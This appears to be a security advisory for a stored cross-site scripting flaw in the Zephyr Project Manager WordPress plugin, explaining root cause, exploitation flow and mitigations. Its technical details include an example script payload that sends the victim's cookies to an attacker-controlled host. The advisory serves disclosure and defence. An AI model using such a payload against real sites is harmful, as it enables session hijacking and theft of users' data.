Description

The Zephyr Project Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘message’ parameter in all versions up to, and including, 3.3.205 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Custom-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability can only be exploited when the 'Directly link to project' plugin setting is disabled.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "6.4",
  "pubDate": "2026-09-08T12:16:59.290Z",
  "pubdate": "2026-09-08T12:16:59.290Z",
  "executiveSummary": "The Zephyr Project Manager plugin for WordPress is susceptible to a Stored Cross-Site Scripting (XSS) vulnerability due to improper input sanitization and output escaping. This flaw exists within the 'message' parameter, affecting all versions up to and including 3.3.205.\nThe vulnerability allows authenticated attackers with 'Custom-level' access or higher to inject malicious JavaScript payloads into the application. When a victim views the affected page, the injected script executes within the context of their session, potentially leading to unauthorized actions, session hijacking, or sensitive data theft.\nExploitation is contingent upon the 'Directly link to project' setting being disabled in the plugin configuration. Because the injected payload is stored persistently, the attack remains active until the malicious content is removed by an administrator or the database is manually purged. The vulnerability poses a significant risk to the integrity and confidentiality of user sessions within the WordPress environment, necessitating immediate attention to input validation and output encoding protocols.",
  "technicalDetails": "The root cause of this vulnerability is the failure of the Zephyr Project Manager plugin to adequately sanitize user-supplied input submitted via the 'message' parameter before storing it in the WordPress database, combined with a lack of context-aware output escaping when rendering the content on the front-end or administrative dashboards.\nThe attack vector involves an authenticated user possessing at least 'Custom-level' privileges. By crafting a request containing arbitrary HTML and JavaScript tags within the 'message' field, an attacker can persist malicious scripts within the application's data storage. The vulnerability only triggers when the 'Directly link to project' setting is disabled, as this configuration likely alters the rendering logic for project messages, exposing the unescaped output to the browser.\nThe exploitation flow is as follows: 1) An attacker authenticates to the WordPress instance with appropriate privileges. 2) The attacker navigates to the project management interface and submits a message containing a JavaScript payload (e.g., <script>fetch('https://attacker.com/'+document.cookie)</script>) via the 'message' parameter. 3) The plugin processes the input without filtering or sanitizing the dangerous characters, storing the malicious payload directly into the database. 4) A victim, such as a site administrator or another user, views the page where the project message is displayed. 5) The browser interprets the injected script as legitimate content due to the lack of output encoding, executing the payload in the context of the victim's session.\nPost-exploitation impact is severe, as the attacker can perform actions on behalf of the victim, bypass CSRF protections, or steal session tokens and cookies. Given the nature of Stored XSS, the payload persists across subsequent page loads for any user viewing the injected content, facilitating a wider scope of impact. This vulnerability highlights the necessity of enforcing strict data validation using functions like sanitize_text_field() or esc_html() and ensuring all output is passed through appropriate WordPress escaping functions like esc_js(), esc_attr(), or wp_kses() to prevent the browser from executing non-authorized markup."
}